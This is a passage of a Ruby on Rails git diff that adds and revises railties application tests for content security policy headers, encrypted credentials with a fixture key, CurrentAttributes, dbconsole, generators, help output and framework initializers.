+      assert_nil last_response.headers["Content-Security-Policy"]
+    end
+
+    test "empty content security policy is generated" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy ""
+    end
+
+    test "global content security policy in an initializer" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src 'self' https:"
+    end
+
+    test "global report only content security policy in an initializer" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+        end
+
+        Rails.application.config.content_security_policy_report_only = true
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src 'self' https:", report_only: true
+    end
+
+    test "global content security policy nonce directives in an initializer" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+          p.script_src  :self, :https
+          p.style_src   :self, :https
+        end
+
+        Rails.application.config.content_security_policy_nonce_generator = proc { "iyhD0Yc0W+c=" }
+        Rails.application.config.content_security_policy_nonce_directives = %w(script-src)
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src 'self' https:; script-src 'self' https: 'nonce-iyhD0Yc0W+c='; style-src 'self' https:"
+    end
+
+    test "override content security policy in a controller" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          content_security_policy do |p|
+            p.default_src "https://example.com"
+          end
+
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src https://example.com"
+    end
+
+    test "override content security policy to report only in a controller" do
+      controller :pages, <<-RUBY
+        class PagesController < ApplicationController
+          content_security_policy_report_only
+
+          def index
+            render html: "<h1>Welcome to Rails!</h1>"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src 'self' https:", report_only: true
+    end
+
+    test "global content security policy added to rack app" do
+      app_file "config/initializers/content_security_policy.rb", <<-RUBY
+        Rails.application.config.content_security_policy do |p|
+          p.default_src :self, :https
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+
+          app = ->(env) {
+            [200, { "Content-Type" => "text/html" }, ["<p>Hello, World!</p>"]]
+          }
+
+          root to: app
+        end
+      RUBY
+
+      app("development")
+
+      get "/"
+      assert_policy "default-src 'self' https:"
+    end
+
+    private
+      def assert_policy(expected, report_only: false)
+        assert_equal 200, last_response.status
+
+        if report_only
+          expected_header = "Content-Security-Policy-Report-Only"
+          unexpected_header = "Content-Security-Policy"
+        else
+          expected_header = "Content-Security-Policy"
+          unexpected_header = "Content-Security-Policy-Report-Only"
+        end
+
+        assert_nil last_response.headers[unexpected_header]
+        assert_equal expected, last_response.headers[expected_header]
+      end
+  end
+end
diff --git a/railties/test/application/credentials_test.rb b/railties/test/application/credentials_test.rb
new file mode 100644
index 0000000000000..2f6b109b50c67
--- /dev/null
+++ b/railties/test/application/credentials_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+
+class Rails::CredentialsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation, EnvHelpers
+
+  setup :build_app
+  teardown :teardown_app
+
+  test "reads credentials from environment specific path" do
+    write_credentials_override(:production)
+
+    app("production")
+
+    assert_equal "revealed", Rails.application.credentials.mystery
+  end
+
+  test "reads credentials from customized path and key" do
+    write_credentials_override(:staging)
+    add_to_env_config("production", "config.credentials.content_path = config.root.join('config/credentials/staging.yml.enc')")
+    add_to_env_config("production", "config.credentials.key_path = config.root.join('config/credentials/staging.key')")
+
+    app("production")
+
+    assert_equal "revealed", Rails.application.credentials.mystery
+  end
+
+  test "reads credentials using environment variable key" do
+    write_credentials_override(:production, with_key: false)
+
+    switch_env("RAILS_MASTER_KEY", credentials_key) do
+      app("production")
+
+      assert_equal "revealed", Rails.application.credentials.mystery
+    end
+  end
+
+  private
+    def write_credentials_override(name, with_key: true)
+      Dir.chdir(app_path) do
+        Dir.mkdir  "config/credentials"
+        File.write "config/credentials/#{name}.key", credentials_key if with_key
+
+        # secret_key_base: secret
+        # mystery: revealed
+        File.write "config/credentials/#{name}.yml.enc",
+          "vgvKu4MBepIgZ5VHQMMPwnQNsLlWD9LKmJHu3UA/8yj6x+3fNhz3DwL9brX7UA==--qLdxHP6e34xeTAiI--nrcAsleXuo9NqiEuhntAhw=="
+      end
+    end
+
+    def credentials_key
+      "2117e775dc2024d4f49ddf3aeb585919"
+    end
+end
diff --git a/railties/test/application/current_attributes_integration_test.rb b/railties/test/application/current_attributes_integration_test.rb
new file mode 100644
index 0000000000000..f4ff5b8077138
--- /dev/null
+++ b/railties/test/application/current_attributes_integration_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+class CurrentAttributesIntegrationTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  include Rack::Test::Methods
+
+  setup do
+    build_app
+
+    app_file "app/models/current.rb", <<-RUBY
+      class Current < ActiveSupport::CurrentAttributes
+        attribute :customer
+
+        resets { Time.zone = "UTC" }
+
+        def customer=(customer)
+          super
+          Time.zone = customer&.time_zone
+        end
+      end
+    RUBY
+
+    app_file "app/models/customer.rb", <<-RUBY
+      class Customer < Struct.new(:name)
+        def time_zone
+          "Copenhagen"
+        end
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/customers/:action", controller: :customers
+      end
+    RUBY
+
+    app_file "app/controllers/customers_controller.rb", <<-RUBY
+      class CustomersController < ApplicationController
+        layout false
+
+        def set_current_customer
+          Current.customer = Customer.new("david")
+          render :index
+        end
+
+        def set_no_customer
+          render :index
+        end
+      end
+    RUBY
+
+    app_file "app/views/customers/index.html.erb", <<-RUBY
+      <%= Current.customer&.name || 'noone' %>,<%= Time.zone.name %>
+    RUBY
+
+    require "#{app_path}/config/environment"
+  end
+
+  teardown :teardown_app
+
+  test "current customer is assigned and cleared" do
+    get "/customers/set_current_customer"
+    assert_equal 200, last_response.status
+    assert_match(/david,Copenhagen/, last_response.body)
+
+    get "/customers/set_no_customer"
+    assert_equal 200, last_response.status
+    assert_match(/noone,UTC/, last_response.body)
+  end
+
+  test "resets after execution" do
+    assert_nil Current.customer
+    assert_equal "UTC", Time.zone.name
+
+    Rails.application.executor.wrap do
+      Current.customer = Customer.new("david")
+
+      assert_equal "david", Current.customer.name
+      assert_equal "Copenhagen", Time.zone.name
+    end
+
+    assert_nil Current.customer
+    assert_equal "UTC", Time.zone.name
+  end
+end
diff --git a/railties/test/application/dbconsole_test.rb b/railties/test/application/dbconsole_test.rb
new file mode 100644
index 0000000000000..3ee8a0fb9b826
--- /dev/null
+++ b/railties/test/application/dbconsole_test.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "console_helpers"
+
+module ApplicationTests
+  class DBConsoleTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include ConsoleHelpers
+
+    def setup
+      skip "PTY unavailable" unless available_pty?
+
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_use_value_defined_in_environment_file_in_database_yml
+      app_file "config/database.yml", <<-YAML
+        development:
+           database: <%= Rails.application.config.database %>
+           adapter: sqlite3
+           max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+           timeout: 5000
+      YAML
+
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.database = "storage/development.sqlite3"
+        end
+      RUBY
+
+      primary, replica = PTY.open
+      spawn_dbconsole(replica)
+      assert_output("sqlite>", primary, 100)
+    ensure
+      primary.puts ".exit"
+    end
+
+    def test_respect_environment_option
+      app_file "config/database.yml", <<-YAML
+        default: &default
+          adapter: sqlite3
+          max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+          timeout: 5000
+
+        development:
+          <<: *default
+          database: storage/development.sqlite3
+
+        production:
+          <<: *default
+          database: storage/production.sqlite3
+      YAML
+
+      primary, replica = PTY.open
+      spawn_dbconsole(replica, "-e production")
+      assert_output("sqlite>", primary, 100)
+
+      primary.puts "pragma database_list;"
+      assert_output("production.sqlite3", primary)
+    ensure
+      primary.puts ".exit"
+    end
+
+    private
+      def spawn_dbconsole(fd, options = nil)
+        Process.spawn("#{app_path}/bin/rails dbconsole #{options}", in: fd, out: fd, err: fd)
+      end
+  end
+end
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
index d2ce14f59489a..ebddecfde0ca4 100644
--- a/railties/test/application/generators_test.rb
+++ b/railties/test/application/generators_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -29,7 +31,12 @@ def with_bare_config
     end
 
     test "allow running plugin new generator inside Rails app directory" do
-      FileUtils.cd(rails_root) { `ruby bin/rails plugin new vendor/plugins/bukkits` }
+      rails "plugin", "new", "vendor/plugins/bukkits"
+      assert File.exist?(File.join(rails_root, "vendor/plugins/bukkits/test/dummy/config/application.rb"))
+    end
+
+    test "allow generating plugin inside Rails app directory" do
+      rails "generate", "plugin", "vendor/plugins/bukkits"
       assert File.exist?(File.join(rails_root, "vendor/plugins/bukkits/test/dummy/config/application.rb"))
     end
 
@@ -165,24 +172,117 @@ def with_bare_config
         config.api_only = true
       RUBY
 
-      FileUtils.cd(rails_root) { `bin/rails generate mailer notifier foo` }
+      rails "generate", "mailer", "notifier", "foo"
       assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.text.erb"))
       assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.html.erb"))
     end
 
-    test "ARGV is mutated as expected" do
+    test "ARGV is populated" do
       require "#{app_path}/config/environment"
-      Rails::Command.const_set("APP_PATH", "rails/all")
+      Rails.application.load_generators
+
+      class Rails::Generators::CheckArgvGenerator < Rails::Generators::Base
+        def check_expected
+          raise "ARGV.first is not expected" unless ARGV.first == "expected"
+        end
+      end
+
+      quietly do
+        assert_nothing_raised do
+          Rails::Command.invoke(:generate, ["check_argv", "expected"]) # should not raise
+        end
+      end
+    end
 
+    test "help does not show hidden namespaces and hidden commands" do
       FileUtils.cd(rails_root) do
-        ARGV = ["mailer", "notifier", "foo"]
-        Rails::Command.const_set("ARGV", ARGV)
-        quietly { Rails::Command.invoke :generate, ARGV }
+        output = rails("generate", "--help")
+        assert_no_match "active_record:migration", output
+        assert_no_match "credentials", output
+
+        output = rails("destroy", "--help")
+        assert_no_match "active_record:migration", output
+      end
+    end
+
+    test "help hides test_unit when using another test_framework" do
+      add_to_config <<-RUBY
+        config.generators.test_framework :rspec
+      RUBY
+
+      output = rails("generate", "--help")
+      assert_no_match "test_unit", output
+    end
+
+    test "skip collision check" do
+      rails("generate", "model", "post", "title:string")
 
-        assert_equal ["notifier", "foo"], ARGV
+      output = rails("generate", "model", "post", "title:string", "body:string")
+      assert_match(/The name 'Post' is either already used in your application or reserved/, output)
+
+      output = rails("generate", "model", "post", "title:string", "body:string", "--skip-collision-check")
+      assert_no_match(/The name 'Post' is either already used in your application or reserved/, output)
+    end
+
+    test "force" do
+      rails("generate", "model", "post", "title:string")
+
+      output = rails("generate", "model", "post", "title:string", "body:string")
+      assert_match(/The name 'Post' is either already used in your application or reserved/, output)
+
+      output = rails("generate", "model", "post", "title:string", "body:string", "--force")
+      assert_no_match(/The name 'Post' is either already used in your application or reserved/, output)
+    end
+
+    test "generators with after_generate callback" do
+      model_file = File.join(app_path, "app/models/post.rb")
+      with_config do |c|
+        c.generators.after_generate do |files|
+          expected = %w(
+            db/migrate/20000101000000_create_posts.rb
+            app/models/post.rb
+            test/models/post_test.rb
+            test/fixtures/posts.yml
+            app/controllers/posts_controller.rb
+            app/views/posts/index.html.erb
+            app/views/posts/edit.html.erb
+            app/views/posts/show.html.erb
+            app/views/posts/new.html.erb
+            app/views/posts/_form.html.erb
+            app/views/posts/_post.html.erb
+            test/controllers/posts_controller_test.rb
+            app/helpers/posts_helper.rb
+          )
+          assert_equal expected, files
+
+          File.open(model_file, "a") { |f| f.write("# Add comment to model") }
+        end
+      end
+
+      travel_to Time.utc(2000, 1, 1)  do
+        rails("generate", "scaffold", "post", "title:string")
       end
 
-      Rails::Command.send(:remove_const, "APP_PATH")
+      assert_match(/# Add comment to model/, File.read(model_file))
+    end
+
+    test "generators with apply_rubocop_autocorrect_after_generate!" do
+      with_config do |c|
+        c.generators.apply_rubocop_autocorrect_after_generate!
+      end
+
+      output = rails("generate", "model", "post", "title:string", "body:string")
+      assert_no_match(/3 files inspected, no offenses detected/, output)
+    end
+
+    test "generators with apply_rubocop_autocorrect_after_generate! and pretend" do
+      with_config do |c|
+        c.generators.apply_rubocop_autocorrect_after_generate!
+      end
+
+      assert_nothing_raised do
+        rails("generate", "model", "post", "title:string", "body:string", "--pretend")
+      end
     end
   end
 end
diff --git a/railties/test/application/help_test.rb b/railties/test/application/help_test.rb
new file mode 100644
index 0000000000000..59d6dfe03726d
--- /dev/null
+++ b/railties/test/application/help_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+class HelpTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "lists common commands and extended commands with descriptions" do
+    output = rails("help")
+    assert_match "You must specify a command. The most common commands are:", output
+    assert_match "  generate     Generate new code (short-cut alias: \"g\")", output
+    assert_match "In addition to those commands", output
+    assert_match(/^about(\s+)List versions of all Rails frameworks/, output)
+    assert_match(/^test:models(\s+)Run tests in test\/models/, output)
+    assert_match(/^routes(\s+)List all the defined routes/, output)
+    assert_no_match(/^generate/, output)
+    assert_no_match(/^console/, output)
+    assert_no_match(/^server/, output)
+  end
+
+  test "short-cut alias works" do
+    output = rails("-h")
+    assert_match "You must specify a command. The most common commands are:", output
+    assert_match "  generate     Generate new code (short-cut alias: \"g\")", output
+    assert_match "In addition to those commands", output
+  end
+
+  test "when no arguments are passed lists the common commands only" do
+    output = rails("")
+    assert_match "You must specify a command. The most common commands are:", output
+    assert_match "  generate     Generate new code (short-cut alias: \"g\")", output
+    assert_no_match "In addition to those commands", output
+  end
+
+  test "outside application root it lists gem commands" do
+    output = gem_rails("")
+    assert_match "You must specify a command:", output
+    assert_match "  new          Create a new Rails application.", output
+  end
+
+  private
+    def gem_rails(cmd)
+      capture(:stdout) do
+        system("#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails #{cmd}", exception: true)
+      end
+    end
+end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 90927159dd0d1..b0e9b0d50f57b 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
+require "env_helpers"
 
 module ApplicationTests
   class FrameworksTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
+    include EnvHelpers
 
     def setup
       build_app
@@ -21,7 +25,7 @@ def teardown
         RUBY
 
         use_frameworks []
-        require "#{app_path}/config/environment"
+        app("development")
       end
     end
 
@@ -30,36 +34,25 @@ def teardown
         config.root = "#{app_path}"
       RUBY
 
-      require "#{app_path}/config/environment"
+      app("development")
 
       expanded_path = File.expand_path("app/views", app_path)
       assert_equal expanded_path, ActionController::Base.view_paths[0].to_s
       assert_equal expanded_path, ActionMailer::Base.view_paths[0].to_s
     end
 
-    test "allows me to configure default url options for ActionMailer" do
+    test "allows me to configure default URL options for ActionMailer" do
       app_file "config/environments/development.rb", <<-RUBY
         Rails.application.configure do
           config.action_mailer.default_url_options = { :host => "test.rails" }
         end
       RUBY
 
-      require "#{app_path}/config/environment"
+      app("development")
       assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
     end
 
-    test "Default to HTTPS for ActionMailer URLs when force_ssl is on" do
-      app_file "config/environments/development.rb", <<-RUBY
-        Rails.application.configure do
-          config.force_ssl = true
-        end
-      RUBY
-
-      require "#{app_path}/config/environment"
-      assert_equal "https", ActionMailer::Base.default_url_options[:protocol]
-    end
-
-    test "includes url helpers as action methods" do
+    test "includes URL helpers as action methods" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
@@ -73,9 +66,9 @@ def notify
         end
       RUBY
 
-      require "#{app_path}/config/environment"
-      assert Foo.method_defined?(:foo_url)
-      assert Foo.method_defined?(:main_app)
+      app("development")
+      assert Foo.new.respond_to?(:foo_url)
+      assert Foo.new.respond_to?(:main_app)
     end
 
     test "allows to not load all helpers for controllers" do
@@ -89,11 +82,11 @@ class ApplicationController < ActionController::Base
       app_file "app/controllers/foo_controller.rb", <<-RUBY
         class FooController < ApplicationController
           def included_helpers
-            render :inline => "<%= from_app_helper -%> <%= from_foo_helper %>"
+            render inline: "<%= from_app_helper -%> <%= from_foo_helper %>"
           end
 
           def not_included_helper
-            render :inline => "<%= respond_to?(:from_bar_helper) -%>"
+            render inline: "<%= respond_to?(:from_bar_helper) -%>"
           end
         end
       RUBY
@@ -170,21 +163,32 @@ def show
     # AD
     test "action_dispatch extensions are applied to ActionDispatch" do
       add_to_config "config.action_dispatch.tld_length = 2"
-      require "#{app_path}/config/environment"
+      app("development")
       assert_equal 2, ActionDispatch::Http::URL.tld_length
     end
 
     test "assignment config.encoding to default_charset" do
       charset = "Shift_JIS"
       add_to_config "config.encoding = '#{charset}'"
-      require "#{app_path}/config/environment"
+      app("development")
       assert_equal charset, ActionDispatch::Response.default_charset
     end
 
+    test "URL builder is configured to use HTTPS when force_ssl is on" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.force_ssl = true
+        end
+      RUBY
+
+      app("development")
+      assert_equal true, ActionDispatch::Http::URL.secure_protocol
+    end
+
     # AS
     test "if there's no config.active_support.bare, all of ActiveSupport is required" do
       use_frameworks []
-      require "#{app_path}/config/environment"
+      app("development")
       assert_nothing_raised { [1, 2, 3].sample }
     end
 
@@ -194,7 +198,7 @@ def show
       use_frameworks []
 
       Dir.chdir("#{app_path}/app") do
-        require "#{app_path}/config/environment"
+        app("development")
         assert_raises(NoMethodError) { "hello".exclude? "lo" }
       end
     end
@@ -202,65 +206,244 @@ def show
     # AR
     test "active_record extensions are applied to ActiveRecord" do
       add_to_config "config.active_record.table_name_prefix = 'tbl_'"
-      require "#{app_path}/config/environment"
+      app("development")
       assert_equal "tbl_", ActiveRecord::Base.table_name_prefix
     end
 
     test "database middleware doesn't initialize when activerecord is not in frameworks" do
       use_frameworks []
-      require "#{app_path}/config/environment"
-      assert_nil defined?(ActiveRecord::Base)
+      app("development")
+      assert !defined?(ActiveRecord::Base) || ActiveRecord.autoload?(:Base)
+    end
+
+    test "can boot with an unhealthy database" do
+      rails %w(generate model post title:string)
+
+      with_unhealthy_database do
+        assert_nothing_raised do
+          app("development")
+        end
+      end
     end
 
     test "use schema cache dump" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+      RUBY
+
       Dir.chdir(app_path) do
-        `rails generate model post title:string;
-         bin/rails db:migrate db:schema:cache:dump`
+        app("development")
+
+        assert ActiveRecord::Base.schema_cache.data_sources("posts")
       end
-      require "#{app_path}/config/environment"
-      ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
-      assert ActiveRecord::Base.connection.schema_cache.data_sources("posts")
+    ensure
+      ActiveRecord::Base.lease_connection.drop_table("posts", if_exists: true) # force drop posts table for test.
     end
 
     test "expire schema cache dump" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump db:rollback)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+      RUBY
+
       Dir.chdir(app_path) do
-        `rails generate model post title:string;
-         bin/rails db:migrate db:schema:cache:dump db:rollback`
+        app("development")
+
+        _, error = capture_io do
+          assert_not ActiveRecord::Base.schema_cache.data_sources("posts")
+        end
+
+        assert_match(/Ignoring db\/schema_cache\.yml because it has expired/, error)
       end
-      require "#{app_path}/config/environment"
-      assert !ActiveRecord::Base.connection.schema_cache.data_sources("posts")
     end
 
-    test "active record establish_connection uses Rails.env if DATABASE_URL is not set" do
-      begin
-        require "#{app_path}/config/environment"
-        orig_database_url = ENV.delete("DATABASE_URL")
-        orig_rails_env, Rails.env = Rails.env, "development"
-        ActiveRecord::Base.establish_connection
-        assert ActiveRecord::Base.connection
-        assert_match(/#{ActiveRecord::Base.configurations[Rails.env]['database']}/, ActiveRecord::Base.connection_config[:database])
-      ensure
-        ActiveRecord::Base.remove_connection
-        ENV["DATABASE_URL"] = orig_database_url if orig_database_url
-        Rails.env = orig_rails_env if orig_rails_env
+    test "expire schema cache dump if the version can't be checked because the database is unhealthy" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+      RUBY
+
+      with_unhealthy_database do
+        Dir.chdir(app_path) do
+          app("development")
+
+          assert_raises ActiveRecord::ConnectionNotEstablished do
+            ActiveRecord::Base.lease_connection.execute("SELECT 1")
+          end
+
+          _, error = capture_io do
+            assert_raises ActiveRecord::ConnectionNotEstablished do
+              ActiveRecord::Base.schema_cache.columns("posts")
+            end
+          end
+
+          assert_match(/Failed to validate the schema cache because of ActiveRecord::(ConnectionNotEstablished|DatabaseConnectionError)/, error)
+        end
       end
     end
 
-    test "active record establish_connection uses DATABASE_URL even if Rails.env is set" do
-      begin
-        require "#{app_path}/config/environment"
-        orig_database_url = ENV.delete("DATABASE_URL")
-        orig_rails_env, Rails.env = Rails.env, "development"
-        database_url_db_name = "db/database_url_db.sqlite3"
-        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
-        ActiveRecord::Base.establish_connection
-        assert ActiveRecord::Base.connection
-        assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
-      ensure
-        ActiveRecord::Base.remove_connection
-        ENV["DATABASE_URL"] = orig_database_url if orig_database_url
-        Rails.env = orig_rails_env if orig_rails_env
+    test "does not expire schema cache dump if check_schema_cache_dump_version is false" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump db:rollback)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      Dir.chdir(app_path) do
+        app("development")
+
+        assert ActiveRecord::Base.connection_pool.schema_reflection.data_sources(:__unused__, "posts")
       end
     end
+
+    test "does not expire schema cache dump if check_schema_cache_dump_version is false and the database unhealthy" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump db:rollback)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      with_unhealthy_database do
+        Dir.chdir(app_path) do
+          app("development")
+
+          assert ActiveRecord::Base.connection_pool.schema_reflection.data_sources(:__unused__, "posts")
+          assert_raises ActiveRecord::ConnectionNotEstablished do
+            ActiveRecord::Base.lease_connection.execute("SELECT 1")
+          end
+        end
+      end
+    end
+
+    test "define attribute methods when schema cache is present and check_schema_cache_dump_version is false" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate db:schema:cache:dump)
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      Dir.chdir(app_path) do
+        app
+
+        assert_predicate Post, :attribute_methods_generated?
+      end
+    end
+
+    test "active record establish_connection uses Rails.env if DATABASE_URL is not set" do
+      app("development")
+      orig_database_url = ENV.delete("DATABASE_URL")
+      orig_rails_env, Rails.env = Rails.env, "development"
+      ActiveRecord::Base.establish_connection
+      assert ActiveRecord::Base.lease_connection
+      assert_match(/#{ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: "primary").database}/, ActiveRecord::Base.connection_db_config.database)
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: "primary")
+      assert_match(/#{db_config.database}/, ActiveRecord::Base.connection_db_config.database)
+    ensure
+      ActiveRecord::Base.remove_connection
+      ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+      Rails.env = orig_rails_env if orig_rails_env
+    end
+
+    test "active record establish_connection uses DATABASE_URL even if Rails.env is set" do
+      app("development")
+      orig_database_url = ENV.delete("DATABASE_URL")
+      orig_rails_env, Rails.env = Rails.env, "development"
+      database_url_db_name = "db/database_url_db.sqlite3"
+      ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
+      ActiveRecord::Base.establish_connection
+      assert ActiveRecord::Base.lease_connection
+      assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_db_config.database)
+    ensure
+      ActiveRecord::Base.remove_connection
+      ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+      Rails.env = orig_rails_env if orig_rails_env
+    end
+
+    test "connections checked out during initialization are returned to the pool" do
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        ActiveRecord::Base.lease_connection
+      RUBY
+      app("development")
+      assert_not_predicate ActiveRecord::Base.connection_pool, :active_connection?
+    end
+
+    test "Current scopes in AR models are reset on reloading" do
+      rails %w(generate model post)
+      rails %w(db:migrate)
+
+      app_file "app/models/a.rb", "A = 1"
+      app_file "app/models/m.rb", "module M; end"
+      app_file "app/models/post.rb", <<~RUBY
+        class Post < ActiveRecord::Base
+          def self.is_a?(_)
+            false
+          end
+
+          def self.<(_)
+            false
+          end
+        end
+      RUBY
+
+      app("development")
+
+      assert A
+      assert M
+      Post.current_scope = Post
+      assert_not_nil ActiveRecord::Scoping::ScopeRegistry.current_scope(Post) # precondition
+
+      ActiveSupport::Dependencies.clear
+
+      assert_nil ActiveRecord::Scoping::ScopeRegistry.current_scope(Post)
+    end
+
+    test "filters for Active Record encrypted attributes are added to config.filter_parameters only once" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate)
+
+      app_file "app/models/post.rb", <<~RUBY
+        class Post < ActiveRecord::Base
+          encrypts :title
+        end
+      RUBY
+
+      app("development")
+
+      assert Post
+      filter_parameters = Rails.application.config.filter_parameters.dup
+
+      reload
+
+      assert Post
+      assert_equal filter_parameters, Rails.application.config.filter_parameters
+    end
+
+    test "ActiveRecord::MessagePack extensions are installed when using ActiveSupport::MessagePack::CacheSerializer" do
+      rails %w(generate model post title:string)
+      rails %w(db:migrate)
+
+      add_to_config <<~RUBY
+        config.cache_store = :file_store, #{app_path("tmp/cache").inspect}, { serializer: :message_pack }
+      RUBY
+
+      app("development")
+
+      post = Post.create!(title: "Hello World")
+      Rails.cache.write("hello", post)
+      assert_equal post, Rails.cache.read("hello")
+    end
   end
 end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
index 36926c50ffbdc..9081444ea63d0 100644
--- a/railties/test/application/initializers/hooks_test.rb
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -50,20 +52,19 @@ def teardown
     end
 
     test "after_initialize runs after frameworks have been initialized" do
-      $activerecord_configurations = nil
+      $activerecord_configuration = nil
       add_to_config <<-RUBY
-        config.after_initialize { $activerecord_configurations = ActiveRecord::Base.configurations }
+        config.after_initialize { $activerecord_configuration = ActiveRecord::Base.configurations.configs_for(env_name: "development", name: "primary") }
       RUBY
 
       require "#{app_path}/config/environment"
-      assert $activerecord_configurations
-      assert $activerecord_configurations["development"]
+      assert $activerecord_configuration
     end
 
     test "after_initialize happens after to_prepare in development" do
       $order = []
       add_to_config <<-RUBY
-        config.cache_classes = false
